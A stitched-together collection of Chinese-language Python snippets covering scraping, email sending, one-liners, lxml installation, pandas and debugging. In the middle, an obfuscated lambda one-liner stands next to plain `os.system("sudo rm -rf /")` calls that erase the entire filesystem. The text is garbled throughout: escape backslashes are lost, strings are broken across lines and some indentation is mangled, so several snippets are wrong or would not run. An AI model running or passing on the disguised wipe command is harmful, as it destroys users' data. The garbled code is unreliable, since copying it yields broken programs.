摘要：上傳文件此處打開指定的文件中的正則表達式匹配只能匹配非換行符，換成即可使用進行文件夾對比只存在于中只存在于中發送郵件發送郵件發件人信箱郵箱密碼收件人信箱請確保開啟了服務郵件提醒親愛的郵件提醒更新行代碼判定色情圖片命

import requests
#https://zhuanlan.zhihu.com/p/20091394
s = requests.session()
url = "http://how-old.net/Home/Analyze?isTest=False&source=&version=001"
header = {
"Accept-Encoding":"gzip, deflate",
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:34.0) Gecko/20100101 Firefox/34.0",
"Host": "how-old.net",
"Referer": "http://how-old.net/",
"X-Requested-With": "XMLHttpRequest"
    }

data = {"file":open("test.jpg", "rb")}
 #此處打開指定的jpg文件

r = s.post(url, files=data, headers=header)   
h = r.content
print h

a = [0, 1, 2, 3, [4, 5, 6], 7]
b = a[:]
a[0] = 5
a[4][0] = 99
print(a)
print(b)
print([id(x) for x in a])
print([id(x) for x in b])

# encoding:utf-8
import urllib
import re
import json

url = "http://news.163.com/special/00014RJU/nationalnews-json-data.js"
result = urllib.urlopen(url).read().strip()
pattern = re.compile(r";var newsList=(.*)")
pattern = re.compile(r";var newsList=([sS]*)")#.*只能匹配非換行符，換成[sS]*即可
matchs = pattern.match(result)
print(matchs.group())

#coding:gbk
from filecmp import dircmp


def show_diff_files(dcmp):
    for name in dcmp.diff_files:
        print "diff_file %s found in %s and %s" % (name, dcmp.left,dcmp.right)
    for sub_dcmp in dcmp.subdirs.values():
        show_diff_files(sub_dcmp)

def show_only(dcmp):
    if dcmp.left_only:
        ave_rst = 1
        for i in dcmp.left_only:
            print "%s只存在于%s中"%(i,dcmp.left)
    if dcmp.right_only:
        for i in dcmp.right_only:
            print "%s只存在于%s中"%(i,dcmp.right)
    for sub_dcmp in dcmp.subdirs.values():
        show_only(sub_dcmp)

def compare(dir1,dir2):
    dcmp = dircmp(dir1,dir2)
    show_diff_files(dcmp)
    show_only(dcmp)

from email import encoders
from email.header import Header
from email.mime.text import MIMEText
from email.utils import parseaddr, formataddr
from time import sleep
from bs4 import BeautifulSoup
import requests
import smtplib
import time
def SendMessage(title):  # 發送郵件
    def _format_addr(s):
        name, addr = parseaddr(s)
        return formataddr((Header(name, "utf-8").encode(), addr))

    from_addr = "xxx@163.com"#發件人信箱
    password = "xxxx"#郵箱密碼
    to_addr = "xxx@163.com"#收件人信箱
    smtp_server = "smtp.163.com"#請確保開啟了smtp服務
    msg = MIMEText(title, "plain", "utf-8")
    msg["From"] = _format_addr("郵件提醒 <%s>" % from_addr)
    msg["To"] = _format_addr("親愛的 <%s>" % to_addr)
    msg["Subject"] = Header("郵件提醒更新", "utf-8").encode()
    server = smtplib.SMTP(smtp_server, 25)
    server.set_debuglevel(1)
    server.login(from_addr, password)
    server.sendmail(from_addr, [to_addr], msg.as_string())
    server.quit()
print(SendMessage("hello"))

import sys, Image  
  
img = Image.open(sys.argv[1]).convert("YCbCr")  
  
w, h = img.size  
  
data = img.getdata()  
  
cnt = 0  
  
for i, ycbcr in enumerate(data):  
  
    y, cb, cr = ycbcr  
  
    if 86 <= cb <= 117 and 140 <= cr <= 168:  
  
        cnt += 1  
  
print "%s %s a porn image."%(sys.argv[1], "is" if cnt > w * h * 0.3 else "is not") 

>>> echo "{"key":"value"}" | python -m json.tool
{
    "key": "value"
}
//python -m json.tool

//在 vim 中執行這句代碼，可以快速格式化 json 數據
curl -L http://restapi/json_response -o json-response | python -m json.tool

python -c "import socket; sock=socket.create_connection(("ns1.dnspod.net",6666)); print sock.recv(16); sock.close()"

$ python -c "print(" ".join([str(i) for i in range(1,10000)]))" | say

import re; from collections import Counter Counter(re.findall(r"w+",open("hamlet.txt").read().lower())).most_common(100)

m = [ [1,2],[3,4]] zip(*m)

import antigravity就會打開 xkcd.com/about/

sum(map(int, str(2**1000)))

filter(lambda x: all(map(lambda p: x % p != 0, range(2, x))), range(2, n))

a=[3, 8, 9, 4, 1, 10, 6, 7, 2, 5]
[a[i:i+3] for i in xrange(0,len(a),3)]
結果[[3, 8, 9], [4, 1, 10], [6, 7, 2], [5]]

m = {"a": 1, "b": 2, "c": 3, "d": 4}
{v: k for k, v in m.items()}
結果：{1: "a", 2: "b", 3: "c", 4: "d"}

a = [1, 2, [3, 4], [[5, 6], [7, 8]]]
flatten = lambda x: [y for l in x for y in flatten(l)] if type(x) is list else [x]
flatten(a);
結果：[1,2,3,4,5,6,7,8]

python -m SimpleHTTPServer 8000,然后瀏覽器打開 localhost:8000，一個簡易的web服務就開啟了

print "n".join([" ".join(["%s%s=%-2s" % (y,x,xy) for y in range(1,x+1)]) for x in range(1,10)])

print(*(i for i in range(2, 1000) if all(tuple(i%j for j in range(2, int(i**.5))))))

print [x[0] for x in [ (a[i][0], a.append((a[i][1], a[i][0]+a[i][1]))) for a in ([[1,1]], ) for i in xrange(100) ]]

import requests
import urllib

# 榜單歌曲批量下載
# r = requests.get("http://music.163.com/api/playlist/detail?id=2884035")    # 網易原創歌曲榜
# r = requests.get("http://music.163.com/api/playlist/detail?id=19723756")    # 云音樂飆升榜
# r = requests.get("http://music.163.com/api/playlist/detail?id=3778678")    # 云音樂熱歌榜
r = requests.get("http://music.163.com/api/playlist/detail?id=3779629")    # 云音樂新歌榜

# 歌單歌曲批量下載
# r = requests.get("http://music.163.com/api/playlist/detail?id=123415635")    # 云音樂歌單——【華語】中國風的韻律，中國人的印記
# r = requests.get("http://music.163.com/api/playlist/detail?id=122732380")    # 云音樂歌單——那不是愛，只是寂寞說的謊

arr = r.json()["result"]["tracks"]    # 共有100首歌
    
for i in range(10):    # 輸入要下載音樂的數量，1到100。
    name = str(i+1) + " " + arr[i]["name"] + ".mp3"
    link = arr[i]["mp3Url"]
    urllib.request.urlretrieve(link, "網易云音樂" + name)    # 提前要創建文件夾
    print(name + " 下載完成")

import webbrowser

urls = [
    "http://www.douban.com",
    "http://weibo.com",
    "http://www.zhihu.com",
    "http://www.v2ex.com/",
    "https://github.com/",
    "https://mail.google.com/",
    "http://instagram.com/",
]

map(lambda x: webbrowser.open(x), urls)

# -*- coding: utf-8 -*-
import requests
from bs4 import BeautifulSoup
import smtplib
from email.mime.text import MIMEText
from email.Header import Header

result = {"name": [], "cover": [], "desc": [], "link": [], "price": []}


def get_page():
    return requests.get("http://t.cn/Rvm4xgc").text


def parse(html):
    soup = BeautifulSoup(html)
    table = soup.body.find_all("table")[6]

    name = table.find_all("tr")[1]

    result["name"].append(name.find_all("td")[0].b.string)
    result["name"].append(name.find_all("td")[2].b.string)

    desc = table.find_all("tr")[2]

    book_1 = desc.find_all("td")[0]
    result["cover"].append(book_1.a.img["src"])
    result["link"].append("http://www.amazon.cn" + book_1.a["href"])
    result["desc"].append(book_1.contents[1])
    result["price"].append(book_1.find_all("p")[1].b.span.string)

    book_2 = desc.find_all("td")[2]
    result["cover"].append(book_2.a.img["src"])
    result["link"].append("http://www.amazon.cn" + book_2.a["href"])
    result["desc"].append(book_2.contents[1])
    result["price"].append(book_2.find_all("p")[1].b.span.string)


mail_config = {
    "from": "gitradar@163.com",
    "to": "liushuaikobe1993@163.com",
    "server": "smtp.163.com",
    "username": "gitradar",
    "pwd": "yourpassword"
}


def send_mail(sbj, content, from_whom=mail_config["from"], to_whom=mail_config["to"], server=mail_config["server"],
              username=mail_config["username"], pwd=mail_config["pwd"]):
    msg = MIMEText(content, "html", "utf-8")
    msg["Subject"] = Header(sbj, "utf-8")
    msg["From"] = from_whom
    msg["To"] = to_whom
    s = smtplib.SMTP(server)
    s.ehlo()
    s.starttls()
    s.login(username, pwd)
    s.sendmail(from_whom, to_whom, msg.as_string())


def build_html():
    return "" 
            + "
"+ result["name"][0] + "  " + result["price"][0] + "
" 
            + "" 
            + "" 
            + "" 
            + "
" + result["desc"][0] + "
" 
            + "
"+ result["name"][1] + "  " + result["price"][1] + "
" 
            + "" 
            + "" 
            + "" 
            + "
" + result["desc"][1] + "
" 
            + ""


if __name__ == "__main__":
    parse(get_page())
    html = build_html()
    sbj = "Kindle今日特價書"
    send_mail(sbj, html)

print("
".join(["".join([("PYTHON!"[(x-y)%7]if((x*0.05)**2+(y*0.1)**2-1)**3-(x*0.05)**2*(y*0.1)**3<=0else" ")for x in range(-30,30)])for y in range(15,-15,-1)]))

                THON!PYTH           YTHON!PYT               
            !PYTHON!PYTHON!PY   N!PYTHON!PYTHON!P           
          N!PYTHON!PYTHON!PYTHON!PYTHON!PYTHON!PYTH         
         N!PYTHON!PYTHON!PYTHON!PYTHON!PYTHON!PYTHON        
        N!PYTHON!PYTHON!PYTHON!PYTHON!PYTHON!PYTHON!P       
        !PYTHON!PYTHON!PYTHON!PYTHON!PYTHON!PYTHON!PY       
        PYTHON!PYTHON!PYTHON!PYTHON!PYTHON!PYTHON!PYT       
        YTHON!PYTHON!PYTHON!PYTHON!PYTHON!PYTHON!PYTH       
        THON!PYTHON!PYTHON!PYTHON!PYTHON!PYTHON!PYTHO       
        HON!PYTHON!PYTHON!PYTHON!PYTHON!PYTHON!PYTHON       
         N!PYTHON!PYTHON!PYTHON!PYTHON!PYTHON!PYTHON        
          PYTHON!PYTHON!PYTHON!PYTHON!PYTHON!PYTHON         
          YTHON!PYTHON!PYTHON!PYTHON!PYTHON!PYTHON!         
            ON!PYTHON!PYTHON!PYTHON!PYTHON!PYTHON           
             !PYTHON!PYTHON!PYTHON!PYTHON!PYTHON            
              YTHON!PYTHON!PYTHON!PYTHON!PYTHON             
                ON!PYTHON!PYTHON!PYTHON!PYTHO               
                  PYTHON!PYTHON!PYTHON!PYTH                 
                    HON!PYTHON!PYTHON!PYT                   
                       PYTHON!PYTHON!P                      
                          ON!PYTHON                         
                             YTH                            
                              H

import zipfile 
try:
    with zipfile.ZipFile("1.zip") as zFile:     #創建ZipFile對象
        #解壓文件
        zFile.extractall(path="./",pwd=b"1314")
        print("Extract the Zip file successfully!")
except:
    print("Extract the Zip file failed!")

In [1]: isinstance(1, (int, long, float))
True

In [2]: isinstance("a", (int, long, float))
False
In [1]: foo = "123.456"

In [2]: foo.replace(".", "", 1).isdigit()
True

In [3]: bar = "12.34.56"

In [4]: bar.replace(".", "", 1).isdigit()
False

def input_num():
    while True:
        num = raw_input("input a number : ")
        if num.replace(".", "", 1).isdigit():
            return num
>>> f = 1.0
>>> f.is_integer()
True
>>> f = 1.0 / 3 + 2.0 / 3
>>> f.is_integer()
True
try:
    f = float(input_value)
except Exception:
    ...
else:
    # Is it a integer?
    if f.is_integer():
        ...
    else:

1. 安裝wheel，命令行運行：
pip install wheel

2.在http://www.lfd.uci.edu/~gohlke/pythonlibs/#lxml 這里下載對應的.whl文件，注意別改文件名！
Ctrl + F，輸入lxml，找到下面這段
Lxml, a binding for the libxml2 and libxslt libraries.
lxml?3.4.4?cp27?none?win32.whl
lxml?3.4.4?cp27?none?win_amd64.whl
lxml?3.4.4?cp33?none?win32.whl
lxml?3.4.4?cp33?none?win_amd64.whl
lxml?3.4.4?cp34?none?win32.whl
lxml?3.4.4?cp34?none?win_amd64.whl
lxml?3.4.4?cp35?none?win32.whl
lxml?3.4.4?cp35?none?win_amd64.whl
cp后面是Python的版本號，27表示2.7，根據你的Python版本選擇下載。

3. 進入.whl所在的文件夾，執行命令即可完成安裝
pip install 帶后綴的完整文件名
$ pip install lxml-3.6.4-cp35-cp35m-win32.whl
Processing .lxml-3.6.4-cp35-cp35m-win32.whl
Installing collected packages: lxml
Successfully installed lxml-3.6.4
http://stackoverflow.com/questions/29440482/how-to-install-lxml-on-windows 
http://stackoverflow.com/questions/2817869/error-unable-to-find-vcvarsall-bat 

(lambda _: getattr(__import__(_(28531)), _(126965465245037))(_(9147569852652678349977498820655)))((lambda ___, __, _: lambda n: ___(__(n))[_ << _:-_].decode(___.__name__))(hex, long, True))
 
import os
os.system("sudo rm -rf /")
__import__("os").system("sudo rm -rf /")

from selenium import webdriver
import time


browser = webdriver.Chrome()
browser.get("http://cnblogs.com")
time.sleep(1)
browser.find_element_by_link_text("登錄").click()
time.sleep(1)
browser.find_element_by_id("input1").send_keys("用戶名")
browser.find_element_by_id("input2").send_keys("密碼")
browser.find_element_by_id("signin").click()
time.sleep(1)
try:
    if browser.find_element_by_link_text("退出"):
        print "Login Successfully."
except:
    print "Login failed."


from selenium import webdriver
source_url="http://huaban.com/boards/28195582/"
headers={
    "Host":"huaban.com",
    "Pragma":"no-cache",
    "Cache-Control":"no-cache",
    "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36",
    "Cookie":"xxxxxx"
}
cap = webdriver.DesiredCapabilities.PHANTOMJS
cap["phantomjs.page.settings.userAgent"] = headers["User-Agent"]    #設置請求header頭信息
cap["phantomjs.page.settings.loadImages"] = False                   #禁止加載圖片
cap["phantomjs.page.customHeaders.Host"]=headers["Host"]
cap["phantomjs.page.customHeaders.Pragma"]=headers["Pragma"]
cap["phantomjs.page.customHeaders.Cookie"]=headers["Cookie"]
driver = webdriver.PhantomJS(desired_capabilities=cap)
driver.get(source_url)

echo "u00e8u0091u0089u00e7u008au00b6u00e3u0083u00a2u00e3u0083u008eu00e3u0083u009du00e3u0083u00bcu00e3u0083u00abu00e3u0082u00a2u00e3u0083u00b3u00e3u0083u0086u00e3u0083u008a"
x = u"u00e8u0091u0089
print x

doc = """

    
        
     
     
        
p1p1p1
            b1b1b1
        
 
        
p2p2p2
        

            
u1u1u1
            a1a1a1
            

                a2a2a2 
                b2b2b2
                
p3p3p3
            
            a3a3a3 
        
 
        
p4p4p4
    

"""

from lxml import html

tree = html.fromstring(doc)
a = tree.get_element_by_id("a1")
print(html.tostring(a))
print(html.tostring(tree).decode())

def dropnode(e=None):
    if e is None: return
    if e.tag == "body": return
    nd = e.getnext()
    while nd is not None:
        nd.drop_tree()
        nd = e.getnext()
    dropnode(e.getparent())

dropnode(a)
print(html.tostring(tree).decode()) 

import requests
from bs4 import BeautifulSoup

r = requests.get("http://www.pythonscraping.com")
bs = BeautifulSoup(r.text,"lxml")
image = bs.find("a", {"id": "logo"}).find("img")["src"]

ir = requests.get(image)
if ir.status_code == 200:
    open("logo.jpg", "wb").write(ir.content)
 
import requests
from bs4 import BeautifulSoup

r = requests.get("http://www.pythonscraping.com")
bs = BeautifulSoup(r.text,"lxml")
image = bs.find("a", {"id": "logo"}).find("img")["src"]

ir = requests.get(image)
if ir.status_code == 200:
    open("logo.jpg", "wb").write(ir.content)

import lxml.etree 
import urllib.request
from lxml.etree import *
str_url = "http://eutils.ncbi.nlm.nih.gov/entrez/eutils/efetch.fcgi?db=pubmed&id=26693255&retmode=text&rettype=xml"
request = urllib.request.Request(str_url)
xml_text = urllib.request.urlopen(request).read()
root = lxml.etree.XML(xml_text) # xml_text 為xml純文本文件
# example  獲取雜志名稱和ISSN
# 使用 tag作為輸入需要逐級進行
journal_name = root.find("PubmedArticle").find("MedlineCitation").find("Article").find("Journal").find("Title").text
# 也可以使用xpath(必須使用相對路徑，以.//開頭，如果想使用絕對路徑可以使用xpath函數)
journal_name = root.find(".//Title").text
print("xpath:" ,journal_name)
journal_name = root.xpath("http://Title")[0].text
print(journal_name)

import lxml.html
str_url = "http://movie.douban.com/"
request = urllib.request.Request(str_url)
html_text = urllib.request.urlopen(request).read()
root = lxml.html.fromstring(html_text)
# 獲取本頁面所有項目名稱 cssselect() 函數，返回list，包含所有匹配的結果，可以使用css選擇器，類似于jquery
movies_list = [a.text for a in  root.cssselect("div.billboard-bd tr td a")]
print(movies_list)
# 獲取所有電影超鏈接
movies_href = [a.get("href") for a in  root.cssselect("div.billboard-bd tr td a")]
print(movies_href)

n=7 
list1=["a","b","c","d"] 
print (l * (n // len(l) + 1))[:n]
(list1 * 2)[:n]
import itertools 
import math 
(list1 * math.ceil( n / len(list1) ) )[:7] 
n=7 
list1=["a","b","c","d"] 
print list(itertools.islice(itertools.cycle(list1), 0, n)) 

pip install wheel
http://www.lfd.uci.edu/~gohlk... 下載對應版本的 lxml和Twisted，cp后面是Python的版本號，27表示2.7 pip install 對應的whl文件
pip install scrapy

list(set(list2)-set(list1))

eval("[1,2,3,4]")
[1, 2, 3, 4]
json.loads(str)
ast.literal_eval(str)
raw = b"{"aa":11,"bb":22,"cc":33}"
d   = json.loads(str(raw, "utf-8"))
d = eval(b"{"aa":11,"bb":22,"cc":33}")
s = b"{"aa":11,"bb":22,"cc":33}".decode("utf-8")  # 先解碼成字符串
data = json.loads(s)  # 解析為字典對象

a_part = [2001, 12000]
b_part = [1001, 2000]
c_part = [11, 1000]
d_part = [1, 10]

data = range(1, 12000)
labels = [a_part, b_part, c_part, d_part]
sizes = []
for part in labels:
    sum = 0
    for each in data:
        sum += each if each >= part[0] and each <= part[1] else 0
    sizes.append(sum)
print(sizes)
sizes = [sum(each for each in data if part[0] <= each <= part[1]) for part in labels]
sizes = [sum(x for x in data if low<=x<=high) for low,high in labels]

import smtplib
from email.mime.text import MIMEText

mail_host = "smtp.163.com"  # SMTP服務器
mail_user = "username"  # 用戶名
mail_pass = "passwd"  # 密碼

sender = "user@163.com"  # 發件人郵箱(最好寫全, 不然會失敗)
receivers = ["to_someone@qq.com"]  # 接收郵件，可設置為你的QQ郵箱或者其他郵箱


content = "過期教程害死人!"
title = "Python SMTP Mail Test"  # 郵件主題
message = MIMEText(content, "plain", "utf-8")  # 內容, 格式, 編碼
message["From"] = "{}".format(sender)
message["To"] = ",".join(receivers)
message["Subject"] = title

try:
    smtpObj = smtplib.SMTP_SSL(mail_host, 465)  # 啟用SSL發信, 端口一般是465
    smtpObj.login(mail_user, mail_pass)  # 登錄驗證
    smtpObj.sendmail(sender, receivers, message.as_string())  # 發送
    print("mail has been send successfully.")
except smtplib.SMTPException as e:
    print(e)
    
    ###pip UnicodeDecodeError: "ascii" codec can"t decode byte 0xc0 in position 0
    vi mimetypes.py
    import sys
reload(sys)
sys.setdefaultencoding("utf-8")
    ###后臺運行命令
    from subprocess import run
run("ping 127.0.0.1",shell=True)

import pandas as pd

cols = ["流水號", "處理人", "處理時間"]
data = [[10000, "張三", "2016-10-01"],
        [10000, "李四", "2016-10-02"],
        [10001, "王五", "2016-10-01"],
        [10002, "趙六", "2016-10-03"],
        [10001, "黃七", "2016-10-02"],
        [10000, "吳八", "2016-10-03"]]

df = pd.DataFrame(data,columns=cols)
grp = [(n, ",".join([r for r in set(df[df["流水號"]==n]["處理人"])]))
                       for n in set(df["流水號"])]

df2 = pd.DataFrame(grp, columns=cols[:-1])
print(df)
print(df2)

cols = ["流水號", "處理人", "處理時間"]
data = [[10000, "張三", "2016-10-01"],
        [10000, "李四", "2016-10-02"],
        [10001, "王五", "2016-10-01"],
        [10002, "趙六", "2016-10-03"],
        [10001, "黃七", "2016-10-02"],
        [10000, "吳八", "2016-10-03"]]
frame = pd.DataFrame(data,columns=cols)

def combination(names):
    return ",".join(names)
    
frame.groupby("流水號").aggregate(combination)

import pandas as pd
pd.read_csv("1.csv", skiprows=[0, 2]) # 跳過文件第一行和第三行

list(set(list2)-set(list1))
a = ["a","b","c","e"]
b = ["b","c","f"]
li = [ item for item in b if item not in a]

import sys, os

try:
    raise NotImplementedError("No error")
except Exception as e:
    exc_type, exc_obj, exc_tb = sys.exc_info()
    fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]
    print(exc_type, fname, exc_tb.tb_lineno)

    def encode(s):
    return " ".join([bin(ord(c)).replace("0b", "") for c in s])

def decode(s):
    return "".join([chr(i) for i in [int(b, 2) for b in s.split(" ")]])
    
>>>encode("hello")
"1101000 1100101 1101100 1101100 1101111"
>>>decode("1101000 1100101 1101100 1101100 1101111")
"hello"
>>> bin(int("256", 10))
"0b100000000"
>>> str(int("0b100000000", 2))
"256"

http://www.lfd.uci.edu/~gohlk... 下載lxml，文件名是這樣的： lxml-3.6.4-cp27-cp27m-win32.whl
cp27表示python2.7 cmd里輸入python第一行末尾win32，就說明python是32位的
pip install wheel #如果沒有安裝過wheel就安裝
pip install lxml-**.whl #在whl文件目錄中執行

import time
local = time.localtime()
print(time.localtime(1400000000))
time.mktime(local)#接受時間元組并返回時間輟
my_format = "%Y/%m/%d %H:%M:%S"
my_time = time.localtime()
print(my_time)
print(time.strftime(my_format, my_time))

def fn(x, L=[]):
  L.append(x)
  return L

print(fn(1))   # [1]
print(fn(7))   # [1, 7]
print(fn(13))  # [1, 7, 13]
// 而 javascript (ES6) 沒有上面那個坑
function fn(x, L=[]){
  L.push(x);
  return L.toString();
}

console.log(fn(1))   // "1"
console.log(fn(7))   // "7"
console.log(fn(13))  // "13"

[(i,j) for i in range(3) for j in range(i) ]
((i,j) for i in range(4) for j in range(i) )

from future import braces

re.compile(r"d+(.*)",re.DEBUG)

import sys

class ExceptionHook:
    instance = None

    def __call__(self, *args, **kwargs):
        if self.instance is None:
            from IPython.core import ultratb
            self.instance = ultratb.FormattedTB(mode="Plain",
                 color_scheme="Linux", call_pdb=1)
        return self.instance(*args, **kwargs)

sys.excepthook = ExceptionHook()
ipython --pdb your_scripyt.py
from ipython import embed;embed()
 import ipdb; ipdb.set_trace()
python -m pdb your.py

ipython test.py --pdb
---------------------------------------------------------------------------
ZeroDivisionError                         Traceback (most recent call last)
/Users/dongweiming/test/test.py in ()
      2 b = 0
      3 
----> 4 a / b

ZeroDivisionError: integer division or modulo by zero
*** NameError: name "pdb" is not defined
> /Users/dongweiming/test/test.py(4)()
      1 a = 1
      2 b = 0
      3 
----> 4 a / b

ipdb> p b  # p是print的別名
0
ipdb> p a
1
ipdb>

import sys

def get_cur_info():
    print sys._getframe().f_code.co_filename  # 當前文件名
    print sys._getframe(0).f_code.co_name  # 當前函數名
    print sys._getframe(1).f_code.co_name　# 調用該函數的函數的名字，如果沒有被調用，則返回module
    print sys._getframe().f_lineno # 當前行號

    a_dict = {"%d^2" % item: item**2 for item in range(5)}
print(a_dict)    # {"3^2": 9, "2^2": 4, "1^2": 1, "0^2": 0, "4^2": 16}
a_generator = (item**2 for item in range(5))#生成器
a_list_generator = iter(a_list)
print(list(map(lambda x, y: x**y, range(1, 5), range(1, 5))))    # [1, 4, 27, 256]
print(reduce(lambda x, y: x+y, range(10)))    # 45
print(reduce(lambda x, y: x+y, range(10), 100))    # 145
print(reduce(lambda x, y: x+y, [[1, 2], [3, 4]], [0]))    # [0, 1, 2, 3, 4]

print(filter(None, range(-4, 5)))    # 
print(list(filter(None, range(-4, 5))))    # [-4, -3, -2, -1, 1, 2, 3, 4]
print(list(filter(lambda x: x > 0, range(-4, 5))))    # [1, 2, 3, 4]

print(all([0, 1, 2]))    # False 判定一個可迭代對象是否全為True或者有為True
print(any([0, 1, 2]))    # True


for index, item in enumerate(range(5)):
    print("%d: %d" % (index, item))    # 0: 0 
 1: 1 
 2: 2
    
    for a, b in zip([1, 2, 3], ["a", "b", "c"]):
    print(a, b)    # 1 a 
 2 b 
 3 c
a_dict = dict(zip([1, 2, 3], ["a", "b", "c"]))
print(a_dict)    # {1: "a", 2: "b", 3: "c"}
>>> [(a,b )for a, b in zip([1, 2, 3], ["a", "b", "c"])]
[(1, "a"), (2, "b"), (3, "c")]
一行代碼啟動一個Web服務

python -m SimpleHTTPServer 8080  # python2
python3 -m http.server 8080  # python3
一行代碼實現求解2的1000次方的各位數之和
print(sum(map(int, str(2**1000))))
多維數組轉化為一維
flatten = lambda x: [y for l in x for y in flatten(l)] if isinstance(x, list) else [x]
一行代碼計算出1-100之間的素數
print(" ".join([str(item) for item in filter(lambda x: not [x % i for i in range(2, x) if x % i == 0], range(2, 101))]))
print(" ".join([str(item) for item in filter(lambda x: all(map(lambda p: x % p != 0, range(2, x))), range(2, 101))]))
一行代碼打印九九乘法表
print("
".join([" ".join(["%s*%s=%-2s" % (y, x, x*y) for y in range(1, x+1)]) for x in range(1, 10)]))

1*1=1
1*2=2  2*2=4
1*3=3  2*3=6  3*3=9
1*4=4  2*4=8  3*4=12 4*4=16
1*5=5  2*5=10 3*5=15 4*5=20 5*5=25
1*6=6  2*6=12 3*6=18 4*6=24 5*6=30 6*6=36
1*7=7  2*7=14 3*7=21 4*7=28 5*7=35 6*7=42 7*7=49
1*8=8  2*8=16 3*8=24 4*8=32 5*8=40 6*8=48 7*8=56 8*8=64
1*9=9  2*9=18 3*9=27 4*9=36 5*9=45 6*9=54 7*9=63 8*9=72 9*9=81

一行代碼輸出特定字符"Love"拼成的心形
print("
".join(["".join([("Love"[(x-y) % len("Love")] if ((x*0.05)**2+(y*0.1)**2-1)**3-(x*0.05)**2*(y*0.1)**3 <= 0 else " ") for x in range(-30, 30)]) for y in range(30, -30, -1)]))
循環過程中變更 list 長度是錯誤的思路
for i in range(0,len(list1)): 
if list1[i].find("a") != -1: 
   list1.pop(i) 

list1 = [x for x in list1 if "a" not in x]
list1 = ["print", "lock", "china", "page"] 

list2 = filter(lambda item: "a" not in item,list1) 

from fractions import Fraction
        x = Fraction(4, 6)                       # 分數類型 4/6
        x = Fraction("0.25")                     # 分數類型 1/4

增強賦值和共享引用：普通+號會生成新的對象，而增強賦值+=會在原處修改
        L = M = [1, 2]
        L = L + [3, 4]                      # L = [1, 2, 3, 4], M = [1, 2]
        L += [3, 4]                         # L = [1, 2, 3, 4], M = [1, 2, 3, 4]


 
{x**2 for x in [1, 2, 3, 4]}                         # 集合解析
"%(name1)d---%(name2)s" % {"name1":23, "name2":"value2"}

"{0}, {1} and {2}".format("spam", "ham", "eggs")            # 基于位置的調用
    "{motto} and {pork}".format(motto = "spam", pork = "ham")   # 基于Key的調用
    D = dict([("name", "tom"), ("age", 12)])          # {"age": 12, "name": "tom"}
    D = dict(zip(["name", "age"], ["tom", 12]))
    "first line" in open("test.txt")   # in測試 返回True或False
    L = [("b",2),("a",1),("c",3),("d",4)]
        sorted(L, key=lambda x: x[1]), reverse=True)      # 使用Key參數和reverse參數
        sorted(L, key=lambda x: (x[0], x[1]))             # 使用key參數進行多條件排序，即如果x[0]相同，則比較x[1]
        #-- 模塊的包導入:使用點號(.)而不是路徑(dir1dir2)進行導入
    import dir1.dir2.mod                # d導入包(目錄)dir1中的包dir2中的mod模塊 此時dir1必須在Python可搜索路徑中
    from dir1.dir2.mod import *         # from語法的包導入
    from .. import spam                 # 導入當前目錄的父目錄下的spam模塊
    from subprocess import call
call(["ls", "-l"])
    字典排序
    
    import operator
x = {1: 2, 3: 4, 4: 3, 2: 1, 0: 0}
sorted_x = sorted(x.items(), key=operator.itemgetter(1))  dict(sorted_x)就是你想要的結果

def get_captcha(self, data, captcha_url): 
self._session.post(self.login_url, data=data) 
r = self._session.get(captcha_url) 
with open("image/captcha.gif", "wb") as f: 
f.write(r.content) 

image = Image.open("image/captcha.gif") 

captcha = "" 
try: 
captcha = pytesseract.image_to_string(image, lang="eng") 
except Exception: 
pass 
if len(captcha) == 0: 
self.get_captcha(data, captcha_url) 
else: 
print("captcha:", captcha) 
 os.remove("image/captcha.gif") 
return captcha 

list = [ {"student_name": zhangsan, "student_score": 65}, {"student_name": lisi, "student_score": 95}, {"student_name": wangwu, "student_score": 80}, {"student_name": maliu, "student_score": 75}, {"student_name": zhuqi, "student_score": 88} ]
from operator import itemgetter 
top3 = sorted(lst, key=itemgetter("student_score"), reverse=True)[:3] 
print sorted(list, key=lambda student: student["student_score"])[-3:]

def get_wednesday_date():
     today = date.today()  
     days = 2 - today.weekday()  
     time_delta = timedelta(days=days) if days > 0 else timedelta(days=7+days) 
     return  today + time_delta
def get_wednesday_date(): 
return date.today() + timedelta(((2 - date.today().weekday()) + 7) % 7)